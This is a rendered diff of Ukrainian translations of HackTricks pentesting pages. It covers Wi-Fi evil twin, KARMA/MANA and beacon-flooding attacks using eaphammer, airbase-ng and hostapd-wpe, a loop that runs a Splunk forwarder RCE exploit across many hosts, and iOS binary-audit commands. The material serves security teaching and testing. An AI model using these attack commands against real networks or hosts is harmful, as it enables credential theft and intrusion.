Ви можете створити дуже базовий Open Evil Twin (без можливостей маршрутизації трафіку в Інтернет), виконавши:
|
You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:
|
||||||
```bash
|
```bash
|
||||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||||
```
|
```
|
||||||
Ви також можете створити Evil Twin, використовуючи **eaphammer** (зверніть увагу, що для створення evil twins з eaphammer інтерфейс **не повинен бути** в **monitor** режимі):
|
Ви також можете створити Evil Twin, використовуючи **eaphammer** (зверніть увагу, що для створення evil twins за допомогою eaphammer інтерфейс **не повинен бути** в **монітор** режимі):
|
||||||
```bash
|
```bash
|
||||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||||
```
|
```
|
||||||
@ -512,13 +512,13 @@ airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Зверніть увагу, що за замовчуванням, якщо ESSID у PNL збережено як захищений WPA, пристрій не підключиться автоматично до відкритого evil Twin. Ви можете спробувати DoS реальний AP і сподіватися, що користувач підключиться вручну до вашого відкритого evil twin, або ви можете DoS реальний AP і використовувати WPA Evil Twin для захоплення хендшейка (використовуючи цей метод, ви не зможете дозволити жертві підключитися до вас, оскільки не знаєте PSK, але можете захопити хендшейк і спробувати його зламати).
|
Зверніть увагу, що за замовчуванням, якщо ESSID у PNL збережено як захищений WPA, пристрій не підключиться автоматично до відкритого evil Twin. Ви можете спробувати DoS реальний AP і сподіватися, що користувач підключиться вручну до вашого відкритого evil twin, або ви можете DoS реальний AP і використовувати WPA Evil Twin для захоплення хендшейку (використовуючи цей метод, ви не зможете дозволити жертві підключитися до вас, оскільки не знаєте PSK, але ви можете захопити хендшейк і спробувати його зламати).
|
||||||
|
|
||||||
_Деякі ОС та AV попередять користувача, що підключення до відкритої мережі небезпечно..._
|
_Деякі ОС та AV попередять користувача, що підключення до відкритої мережі є небезпечним..._
|
||||||
|
|
||||||
### WPA/WPA2 Evil Twin
|
### WPA/WPA2 Evil Twin
|
||||||
|
|
||||||
Ви можете створити **Evil Twin, використовуючи WPA/2**, і якщо пристрої налаштовані на підключення до цього SSID з WPA/2, вони спробують підключитися. У будь-якому випадку, **щоб завершити 4-way-handshake**, вам також потрібно **знати** **пароль**, який клієнт збирається використовувати. Якщо ви **не знаєте** його, **підключення не буде завершено**.
|
Ви можете створити **Evil Twin, використовуючи WPA/2**, і якщо пристрої налаштовані на підключення до цього SSID з WPA/2, вони спробують підключитися. У будь-якому випадку, **для завершення 4-way-handshake** вам також потрібно **знати** **пароль**, який клієнт збирається використовувати. Якщо ви **не знаєте** його, **підключення не буде завершено**.
|
||||||
```bash
|
```bash
|
||||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||||
```
|
```
|
||||||
@ -533,9 +533,9 @@ _Деякі ОС та AV попередять користувача, що пі
|
|||||||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||||||
hostapd-wpe ./victim/victim.conf -s
|
hostapd-wpe ./victim/victim.conf -s
|
||||||
```
|
```
|
||||||
У файлі конфігурації ви можете вибрати багато різних параметрів, таких як ssid, канал, файли користувачів, cret/key, dh параметри, версія wpa та auth...
|
У файлі конфігурації ви можете вибрати багато різних параметрів, таких як ssid, канал, файли користувачів, cret/key, dh параметри, версія wpa та автентифікація...
|
||||||
|
|
||||||
[**Використання hostapd-wpe з EAP-TLS для дозволу будь-якого сертифіката для входу.**](evil-twin-eap-tls.md)
|
[**Використання hostapd-wpe з EAP-TLS для дозволу входу з будь-яким сертифікатом.**](evil-twin-eap-tls.md)
|
||||||
|
|
||||||
**Використання EAPHammer**
|
**Використання EAPHammer**
|
||||||
```bash
|
```bash
|
||||||
@ -555,9 +555,9 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
|||||||
```
|
```
|
||||||
Або ви також можете використовувати:
|
Або ви також можете використовувати:
|
||||||
|
|
||||||
- `--negotiate gtc-downgrade` для використання високоефективної реалізації GTC downgrade (паролі в чистому вигляді)
|
- `--negotiate gtc-downgrade` для використання високоефективної реалізації зниження GTC (паролі у відкритому вигляді)
|
||||||
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` для ручного зазначення запропонованих методів (пропонуючи ті ж методи автентифікації в тому ж порядку, що й організація, атака буде набагато важче виявити).
|
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` для ручного зазначення запропонованих методів (пропонуючи ті ж методи автентифікації в тому ж порядку, що й організація, атака буде набагато важче виявити).
|
||||||
- [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
- [Знайдіть більше інформації у вікі](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||||
|
|
||||||
**Використання Airgeddon**
|
**Використання Airgeddon**
|
||||||
|
|
||||||
@ -566,7 +566,7 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Налагодження PEAP та EAP-TTLS TLS тунелів в атаках Evil Twins
|
### Налагодження тунелів PEAP та EAP-TTLS TLS в атаках Evil Twins
|
||||||
|
|
||||||
_Цей метод був протестований у з'єднанні PEAP, але оскільки я розшифровую довільний TLS тунель, це також повинно працювати з EAP-TTLS_
|
_Цей метод був протестований у з'єднанні PEAP, але оскільки я розшифровую довільний TLS тунель, це також повинно працювати з EAP-TTLS_
|
||||||
|
|
||||||
@ -577,7 +577,7 @@ _Цей метод був протестований у з'єднанні PEAP,
|
|||||||
|
|
||||||
Тепер або пізніше (коли ви вже захопили деякі спроби автентифікації) ви можете додати приватний RSA ключ до wireshark у: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
Тепер або пізніше (коли ви вже захопили деякі спроби автентифікації) ви можете додати приватний RSA ключ до wireshark у: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||||
|
|
||||||
Додайте новий запис і заповніть форму цими значеннями: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**виберіть ваш файл ключа**, щоб уникнути проблем, виберіть файл ключа **без захисту паролем**).
|
Додайте новий запис і заповніть форму цими значеннями: **IP адреса = будь-яка** -- **Порт = 0** -- **Протокол = data** -- **Key File** (**виберіть ваш файл ключа**, щоб уникнути проблем, виберіть файл ключа **без захисту паролем**).
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -591,14 +591,14 @@ _Цей метод був протестований у з'єднанні PEAP,
|
|||||||
|
|
||||||
Різні типи списків фільтрації доступу до медіа (MFACLs) та їх відповідні режими та ефекти на поведінку зловмисної точки доступу (AP):
|
Різні типи списків фільтрації доступу до медіа (MFACLs) та їх відповідні режими та ефекти на поведінку зловмисної точки доступу (AP):
|
||||||
|
|
||||||
1. **MAC-базований білий список**:
|
1. **Список білих MAC-адрес**:
|
||||||
- Зловмисна точка доступу відповідатиме лише на запити проби від пристроїв, зазначених у білому списку, залишаючись невидимою для всіх інших, хто не зазначений.
|
- Зловмисна AP відповідатиме лише на запити проби від пристроїв, зазначених у білому списку, залишаючись невидимою для всіх інших, хто не вказаний.
|
||||||
2. **MAC-базований чорний список**:
|
2. **Список чорних MAC-адрес**:
|
||||||
- Зловмисна точка доступу ігноруватиме запити проби від пристроїв у чорному списку, ефективно роблячи зловмисну точку доступу невидимою для цих конкретних пристроїв.
|
- Зловмисна AP ігноруватиме запити проби від пристроїв у чорному списку, ефективно роблячи зловмисну AP невидимою для цих конкретних пристроїв.
|
||||||
3. **SSID-базований білий список**:
|
3. **Список білих SSID**:
|
||||||
- Зловмисна точка доступу відповідатиме на запити проби лише для конкретних ESSID, зазначених у списку, роблячи її невидимою для пристроїв, чиї списки переважних мереж (PNL) не містять цих ESSID.
|
- Зловмисна AP відповідатиме на запити проби лише для конкретних ESSID, зазначених у списку, роблячи її невидимою для пристроїв, чиї списки переважних мереж (PNL) не містять цих ESSID.
|
||||||
4. **SSID-базований чорний список**:
|
4. **Список чорних SSID**:
|
||||||
- Зловмисна точка доступу не відповідатиме на запити проби для конкретних ESSID у чорному списку, роблячи її невидимою для пристроїв, які шукають ці конкретні мережі.
|
- Зловмисна AP не відповідатиме на запити проби для конкретних ESSID у чорному списку, роблячи її невидимою для пристроїв, які шукають ці конкретні мережі.
|
||||||
```bash
|
```bash
|
||||||
# example EAPHammer MFACL file, wildcards can be used
|
# example EAPHammer MFACL file, wildcards can be used
|
||||||
09:6a:06:c8:36:af
|
09:6a:06:c8:36:af
|
||||||
@ -620,25 +620,25 @@ name3
|
|||||||
```
|
```
|
||||||
### KARMA
|
### KARMA
|
||||||
|
|
||||||
Цей метод дозволяє **зловмиснику створити шкідливу точку доступу (AP), яка відповідає на всі запити на сканування** від пристроїв, що намагаються підключитися до мереж. Ця техніка **обманює пристрої, змушуючи їх підключатися до AP зловмисника**, імітуючи мережі, які шукають пристрої. Коли пристрій надсилає запит на підключення до цього підробленого AP, з'єднання завершується, що призводить до помилкового підключення пристрою до мережі зловмисника.
|
Цей метод дозволяє **зловмиснику створити шкідливу точку доступу (AP), яка відповідає на всі запити на сканування** від пристроїв, що намагаються підключитися до мереж. Ця техніка **обманює пристрої, змушуючи їх підключатися до AP зловмисника**, імітуючи мережі, які шукають пристрої. Коли пристрій надсилає запит на підключення до цього підробленого AP, воно завершує підключення, що призводить до помилкового підключення пристрою до мережі зловмисника.
|
||||||
|
|
||||||
### MANA
|
### MANA
|
||||||
|
|
||||||
Потім **пристрої почали ігнорувати непрохані мережеві відповіді**, зменшуючи ефективність початкової атаки karma. Однак новий метод, відомий як **атака MANA**, був представлений Іаном де Віллієрсом та Домініком Уайтом. Цей метод передбачає, що підроблений AP **захоплює списки уподобаних мереж (PNL) з пристроїв, відповідаючи на їхні широкомовні запити на сканування** з іменами мереж (SSID), які раніше запитувалися пристроями. Ця складна атака обминає захисти проти початкової атаки karma, експлуатуючи спосіб, яким пристрої запам'ятовують і пріоритизують відомі мережі.
|
Потім **пристрої почали ігнорувати ненадійні мережеві відповіді**, зменшуючи ефективність початкової атаки karma. Однак новий метод, відомий як **атака MANA**, був представлений Іаном де Віллієром і Домініком Уайтом. Цей метод передбачає, що підроблений AP **захоплює списки уподобаних мереж (PNL) з пристроїв, відповідаючи на їхні широкомовні запити на сканування** з іменами мереж (SSID), які раніше були надійними для пристроїв. Ця складна атака обминає захисти проти початкової атаки karma, експлуатуючи спосіб, яким пристрої запам'ятовують і пріоритизують відомі мережі.
|
||||||
|
|
||||||
Атака MANA працює, моніторячи як спрямовані, так і широкомовні запити на сканування з пристроїв. Для спрямованих запитів вона записує MAC-адресу пристрою та запитуване ім'я мережі, додаючи цю інформацію до списку. Коли отримується широкомовний запит, AP відповідає інформацією, що відповідає будь-якій з мереж у списку пристрою, спокушаючи пристрій підключитися до підробленого AP.
|
Атака MANA працює, моніторячи як спрямовані, так і широкомовні запити на сканування з пристроїв. Для спрямованих запитів вона записує MAC-адресу пристрою та запитуване ім'я мережі, додаючи цю інформацію до списку. Коли отримується широкомовний запит, AP відповідає інформацією, що відповідає будь-якій з мереж у списку пристрою, спонукаючи пристрій підключитися до підробленого AP.
|
||||||
```bash
|
```bash
|
||||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||||
```
|
```
|
||||||
### Loud MANA
|
### Loud MANA
|
||||||
|
|
||||||
А **Loud MANA атака** є просунутою стратегією для випадків, коли пристрої не використовують спрямоване опитування або коли їхні списки уподобаних мереж (PNL) невідомі атакуючому. Вона працює на принципі, що **пристрої в одній і тій же області, ймовірно, ділять деякі імена мереж у своїх PNL**. Замість того, щоб відповідати вибірково, ця атака транслює відповіді на запити для кожного імені мережі (ESSID), знайденого в об'єднаних PNL усіх спостережуваних пристроїв. Цей широкий підхід збільшує ймовірність того, що пристрій розпізнає знайому мережу і спробує підключитися до підробленої точки доступу (AP).
|
А **Loud MANA атака** є просунутою стратегією для випадків, коли пристрої не використовують спрямоване опитування або коли їхні Списки Улюблених Мереж (PNL) невідомі атакуючому. Вона працює на принципі, що **пристрої в одній і тій же області, ймовірно, ділять деякі імена мереж у своїх PNL**. Замість того, щоб відповідати вибірково, ця атака транслює відповіді на запити для кожного імені мережі (ESSID), знайденого в об'єднаних PNL усіх спостережуваних пристроїв. Цей широкий підхід збільшує шанси на те, що пристрій розпізнає знайому мережу і спробує підключитися до зловмисної Точки Доступу (AP).
|
||||||
```bash
|
```bash
|
||||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||||
```
|
```
|
||||||
### Known Beacon attack
|
### Known Beacon attack
|
||||||
|
|
||||||
Коли **Loud MANA attack** може бути недостатнім, **Known Beacon attack** пропонує інший підхід. Цей метод **брутфорсить процес підключення, імітуючи AP, який відповідає на будь-яке ім'я мережі, перебираючи список потенційних ESSID, отриманих з wordlist**. Це імітує наявність численних мереж, сподіваючись знайти ESSID у PNL жертви, що спонукає до спроби підключення до сфабрикованого AP. Атаку можна посилити, поєднавши її з опцією `--loud` для більш агресивної спроби захоплення пристроїв.
|
Коли **Loud MANA attack** може бути недостатнім, **Known Beacon attack** пропонує інший підхід. Цей метод **брутфорсить процес підключення, імітуючи AP, який відповідає на будь-яке ім'я мережі, перебираючи список потенційних ESSID, отриманих з словника**. Це імітує наявність численних мереж, сподіваючись знайти ESSID у PNL жертви, що спонукає до спроби підключення до сфабрикованого AP. Атаку можна посилити, поєднуючи її з опцією `--loud` для більш агресивної спроби захоплення пристроїв.
|
||||||
|
|
||||||
Eaphammer реалізував цю атаку як MANA attack, де всі ESSID у списку активуються (ви також можете поєднати це з `--loud`, щоб створити Loud MANA + Known beacons attack):
|
Eaphammer реалізував цю атаку як MANA attack, де всі ESSID у списку активуються (ви також можете поєднати це з `--loud`, щоб створити Loud MANA + Known beacons attack):
|
||||||
```bash
|
```bash
|
||||||
@ -646,7 +646,7 @@ Eaphammer реалізував цю атаку як MANA attack, де всі ESS
|
|||||||
```
|
```
|
||||||
**Відома атака Beacon Burst**
|
**Відома атака Beacon Burst**
|
||||||
|
|
||||||
Атака **Відома атака Beacon Burst** передбачає **швидке транслювання кадрів маяків для кожного ESSID, зазначеного у файлі**. Це створює щільне середовище фальшивих мереж, значно підвищуючи ймовірність підключення пристроїв до зловмисної AP, особливо в поєднанні з атакою MANA. Ця техніка використовує швидкість і обсяг, щоб перевантажити механізми вибору мережі пристроїв.
|
Атака **Відома атака Beacon Burst** передбачає **швидке транслювання кадрів маяків для кожного ESSID, вказаного у файлі**. Це створює щільне середовище фальшивих мереж, значно підвищуючи ймовірність підключення пристроїв до зловмисної AP, особливо в поєднанні з атакою MANA. Ця техніка використовує швидкість і обсяг, щоб перевантажити механізми вибору мережі пристроїв.
|
||||||
```bash
|
```bash
|
||||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||||
./forge-beacons -i wlan1 \
|
./forge-beacons -i wlan1 \
|
||||||
@ -659,11 +659,11 @@ Eaphammer реалізував цю атаку як MANA attack, де всі ESS
|
|||||||
|
|
||||||
**Wi-Fi Direct** - це протокол, який дозволяє пристроям з'єднуватися безпосередньо один з одним за допомогою Wi-Fi без необхідності в традиційній бездротовій точці доступу. Ця можливість інтегрована в різні пристрої Інтернету речей (IoT), такі як принтери та телевізори, що полегшує безпосередню комунікацію між пристроями. Помітною особливістю Wi-Fi Direct є те, що один пристрій виконує роль точки доступу, відомої як власник групи, для управління з'єднанням.
|
**Wi-Fi Direct** - це протокол, який дозволяє пристроям з'єднуватися безпосередньо один з одним за допомогою Wi-Fi без необхідності в традиційній бездротовій точці доступу. Ця можливість інтегрована в різні пристрої Інтернету речей (IoT), такі як принтери та телевізори, що полегшує безпосередню комунікацію між пристроями. Помітною особливістю Wi-Fi Direct є те, що один пристрій виконує роль точки доступу, відомої як власник групи, для управління з'єднанням.
|
||||||
|
|
||||||
Безпека для з'єднань Wi-Fi Direct забезпечується через **Wi-Fi Protected Setup (WPS)**, який підтримує кілька методів для безпечного спарювання, включаючи:
|
Безпека з'єднань Wi-Fi Direct забезпечується через **Wi-Fi Protected Setup (WPS)**, який підтримує кілька методів для безпечного спарювання, включаючи:
|
||||||
|
|
||||||
- **Push-Button Configuration (PBC)**
|
- **Push-Button Configuration (PBC)**
|
||||||
- **Введення PIN-коду**
|
- **Введення PIN-коду**
|
||||||
- **Ближня бездротова комунікація (NFC)**
|
- **Near-Field Communication (NFC)**
|
||||||
|
|
||||||
Ці методи, особливо введення PIN-коду, піддаються тим самим вразливостям, що й WPS у традиційних бездротових мережах, що робить їх мішенями для подібних векторів атак.
|
Ці методи, особливо введення PIN-коду, піддаються тим самим вразливостям, що й WPS у традиційних бездротових мережах, що робить їх мішенями для подібних векторів атак.
|
||||||
|
|
||||||
@ -684,6 +684,6 @@ Eaphammer реалізував цю атаку як MANA attack, де всі ESS
|
|||||||
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
|
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
|
||||||
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||||
|
|
||||||
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
|
TODO: Ознайомтеся з [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (вхід через Facebook та імітація WPA в каптивних порталах)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -18,7 +18,7 @@
|
|||||||
**Ключові моменти:**
|
**Ключові моменти:**
|
||||||
|
|
||||||
- Агент UF не перевіряє вхідні з'єднання або автентичність коду, що робить його вразливим до несанкціонованого виконання коду.
|
- Агент UF не перевіряє вхідні з'єднання або автентичність коду, що робить його вразливим до несанкціонованого виконання коду.
|
||||||
- Загальні методи отримання паролів включають їх знаходження в мережевих каталогах, файлових спільних ресурсах або внутрішній документації.
|
- Загальні методи отримання паролів включають їх знаходження в мережевих каталогах, файлових сховищах або внутрішній документації.
|
||||||
- Успішна експлуатація може призвести до доступу на рівні SYSTEM або root на скомпрометованих хостах, ексфільтрації даних та подальшого проникнення в мережу.
|
- Успішна експлуатація може призвести до доступу на рівні SYSTEM або root на скомпрометованих хостах, ексфільтрації даних та подальшого проникнення в мережу.
|
||||||
|
|
||||||
**Виконання експлуатації:**
|
**Виконання експлуатації:**
|
||||||
@ -39,9 +39,9 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
|
|||||||
```
|
```
|
||||||
**Використовувані публічні експлойти:**
|
**Використовувані публічні експлойти:**
|
||||||
|
|
||||||
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
|
||||||
- https://www.exploit-db.com/exploits/46238
|
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
|
||||||
- https://www.exploit-db.com/exploits/46487
|
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
|
||||||
|
|
||||||
## Зловживання запитами Splunk
|
## Зловживання запитами Splunk
|
||||||
|
|
||||||
|
|||||||
@ -26,16 +26,16 @@ ios-testing-environment.md
|
|||||||
basic-ios-testing-operations.md
|
basic-ios-testing-operations.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
> [!NOTE]
|
> [!TIP]
|
||||||
> Для наступних кроків **додаток має бути встановлено** на пристрої та вже має бути отримано **IPA файл** додатку.\
|
> Для наступних кроків **додаток має бути встановлено** на пристрої і вже має бути отримано **IPA файл** додатку.\
|
||||||
> Прочитайте сторінку [Основні Операції Тестування iOS](basic-ios-testing-operations.md), щоб дізнатися, як це зробити.
|
> Прочитайте сторінку [Основні Операції Тестування iOS](basic-ios-testing-operations.md), щоб дізнатися, як це зробити.
|
||||||
|
|
||||||
### Основний Статичний Аналіз
|
### Основний Статичний Аналіз
|
||||||
|
|
||||||
Деякі цікаві декомпілери iOS - IPA файлів:
|
Деякі цікаві декомпілери iOS - IPA файлів:
|
||||||
|
|
||||||
- https://github.com/LaurieWired/Malimite
|
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
|
||||||
- https://ghidra-sre.org/
|
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
|
||||||
|
|
||||||
Рекомендується використовувати інструмент [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) для автоматичного статичного аналізу IPA файлу.
|
Рекомендується використовувати інструмент [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) для автоматичного статичного аналізу IPA файлу.
|
||||||
|
|
||||||
@ -70,7 +70,7 @@ otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Криптід має
|
|||||||
- **Слабкі Хешуючі Алгоритми**
|
- **Слабкі Хешуючі Алгоритми**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# На пристрої iOS
|
# На iOS пристрої
|
||||||
otool -Iv <app> | grep -w "_CC_MD5"
|
otool -Iv <app> | grep -w "_CC_MD5"
|
||||||
otool -Iv <app> | grep -w "_CC_SHA1"
|
otool -Iv <app> | grep -w "_CC_SHA1"
|
||||||
|
|
||||||
@ -82,7 +82,7 @@ grep -iER "_CC_SHA1"
|
|||||||
- **Небезпечні Випадкові Функції**
|
- **Небезпечні Випадкові Функції**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# На пристрої iOS
|
# На iOS пристрої
|
||||||
otool -Iv <app> | grep -w "_random"
|
otool -Iv <app> | grep -w "_random"
|
||||||
otool -Iv <app> | grep -w "_srand"
|
otool -Iv <app> | grep -w "_srand"
|
||||||
otool -Iv <app> | grep -w "_rand"
|
otool -Iv <app> | grep -w "_rand"
|
||||||
@ -96,7 +96,7 @@ grep -iER "_rand"
|
|||||||
- **Небезпечна Функція ‘Malloc’**
|
- **Небезпечна Функція ‘Malloc’**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# На пристрої iOS
|
# На iOS пристрої
|
||||||
otool -Iv <app> | grep -w "_malloc"
|
otool -Iv <app> | grep -w "_malloc"
|
||||||
|
|
||||||
# На linux
|
# На linux
|
||||||
@ -106,7 +106,7 @@ grep -iER "_malloc"
|
|||||||
- **Небезпечні та Вразливі Функції**
|
- **Небезпечні та Вразливі Функції**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# На пристрої iOS
|
# На iOS пристрої
|
||||||
otool -Iv <app> | grep -w "_gets"
|
otool -Iv <app> | grep -w "_gets"
|
||||||
otool -Iv <app> | grep -w "_memcpy"
|
otool -Iv <app> | grep -w "_memcpy"
|
||||||
otool -Iv <app> | grep -w "_strncpy"
|
otool -Iv <app> | grep -w "_strncpy"
|
||||||
@ -162,14 +162,14 @@ ios-hooking-with-objection.md
|
|||||||
|
|
||||||
### Структура IPA
|
### Структура IPA
|
||||||
|
|
||||||
Структура **IPA файлу** в основному є структурою **запакованого архіву**. Змінивши його розширення на `.zip`, його можна **розпакувати**, щоб виявити його вміст. У цій структурі **Bundle** представляє повністю упаковану програму, готову до встановлення. Всередині ви знайдете каталог з назвою `<NAME>.app`, який містить ресурси програми.
|
Структура **IPA файлу** в основному є такою ж, як у **запакованого пакету**. Змінивши його розширення на `.zip`, його можна **розпакувати**, щоб виявити його вміст. У цій структурі **Bundle** представляє повністю упаковану програму, готову до встановлення. Всередині ви знайдете каталог з назвою `<NAME>.app`, який містить ресурси програми.
|
||||||
|
|
||||||
- **`Info.plist`**: Цей файл містить специфічні деталі конфігурації програми.
|
- **`Info.plist`**: Цей файл містить специфічні деталі конфігурації програми.
|
||||||
- **`_CodeSignature/`**: Цей каталог включає файл plist, який містить підпис, що забезпечує цілісність усіх файлів у бандлі.
|
- **`_CodeSignature/`**: Цей каталог включає plist файл, що містить підпис, що забезпечує цілісність усіх файлів у пакеті.
|
||||||
- **`Assets.car`**: Стиснутий архів, який зберігає файли активів, такі як іконки.
|
- **`Assets.car`**: Стиснений архів, що зберігає файли активів, такі як іконки.
|
||||||
- **`Frameworks/`**: Ця папка містить рідні бібліотеки програми, які можуть бути у формі файлів `.dylib` або `.framework`.
|
- **`Frameworks/`**: Ця папка містить рідні бібліотеки програми, які можуть бути у формі файлів `.dylib` або `.framework`.
|
||||||
- **`PlugIns/`**: Це може включати розширення програми, відомі як файли `.appex`, хоча вони не завжди присутні. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Використовується для збереження постійних даних вашої програми для офлайн-використання, для кешування тимчасових даних та для додавання функціональності скасування в вашій програмі на одному пристрої. Щоб синхронізувати дані між кількома пристроями в одному обліковому записі iCloud, Core Data автоматично відображає вашу схему в контейнер CloudKit.
|
- **`PlugIns/`**: Це може включати розширення програми, відомі як файли `.appex`, хоча вони не завжди присутні. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Використовується для збереження постійних даних вашої програми для офлайн використання, для кешування тимчасових даних та для додавання функціональності скасування в вашій програмі на одному пристрої. Щоб синхронізувати дані між кількома пристроями в одному обліковому записі iCloud, Core Data автоматично відображає вашу схему в контейнер CloudKit.
|
||||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Файл `PkgInfo` є альтернативним способом вказати тип і коди творця вашої програми або бандлу.
|
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Файл `PkgInfo` є альтернативним способом вказати тип і коди творця вашої програми або пакету.
|
||||||
- **en.lproj, fr.proj, Base.lproj**: Це мовні пакети, які містять ресурси для цих конкретних мов, а також ресурс за замовчуванням на випадок, якщо мова не підтримується.
|
- **en.lproj, fr.proj, Base.lproj**: Це мовні пакети, які містять ресурси для цих конкретних мов, а також ресурс за замовчуванням на випадок, якщо мова не підтримується.
|
||||||
- **Безпека**: Каталог `_CodeSignature/` відіграє критичну роль у безпеці програми, перевіряючи цілісність усіх упакованих файлів через цифрові підписи.
|
- **Безпека**: Каталог `_CodeSignature/` відіграє критичну роль у безпеці програми, перевіряючи цілісність усіх упакованих файлів через цифрові підписи.
|
||||||
- **Управління активами**: Файл `Assets.car` використовує стиснення для ефективного управління графічними активами, що є важливим для оптимізації продуктивності програми та зменшення її загального розміру.
|
- **Управління активами**: Файл `Assets.car` використовує стиснення для ефективного управління графічними активами, що є важливим для оптимізації продуктивності програми та зменшення її загального розміру.
|
||||||
@ -178,7 +178,7 @@ ios-hooking-with-objection.md
|
|||||||
|
|
||||||
**Info.plist**
|
**Info.plist**
|
||||||
|
|
||||||
**Info.plist** служить основою для iOS програм, інкапсулюючи ключові дані конфігурації у формі **пар ключ-значення**. Цей файл є обов'язковим не лише для програм, але й для розширень програм та фреймворків, упакованих разом. Він структурований у форматі XML або бінарному форматі та містить критичну інформацію, починаючи від дозволів програми до конфігурацій безпеки. Для детального вивчення доступних ключів можна звернутися до [**Документації Apple Developer**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
**Info.plist** служить основою для iOS програм, інкапсулюючи ключові дані конфігурації у формі **пар ключ-значення**. Цей файл є обов'язковим не лише для програм, але й для розширень програм та фреймворків, що входять до складу. Він структурований у форматі XML або бінарному форматі та містить критичну інформацію, починаючи від дозволів програми до конфігурацій безпеки. Для детального вивчення доступних ключів можна звернутися до [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||||
|
|
||||||
Для тих, хто хоче працювати з цим файлом у більш доступному форматі, конвертацію в XML можна здійснити без зусиль за допомогою `plutil` на macOS (доступний нативно на версіях 10.2 і пізніше) або `plistutil` на Linux. Команди для конвертації такі:
|
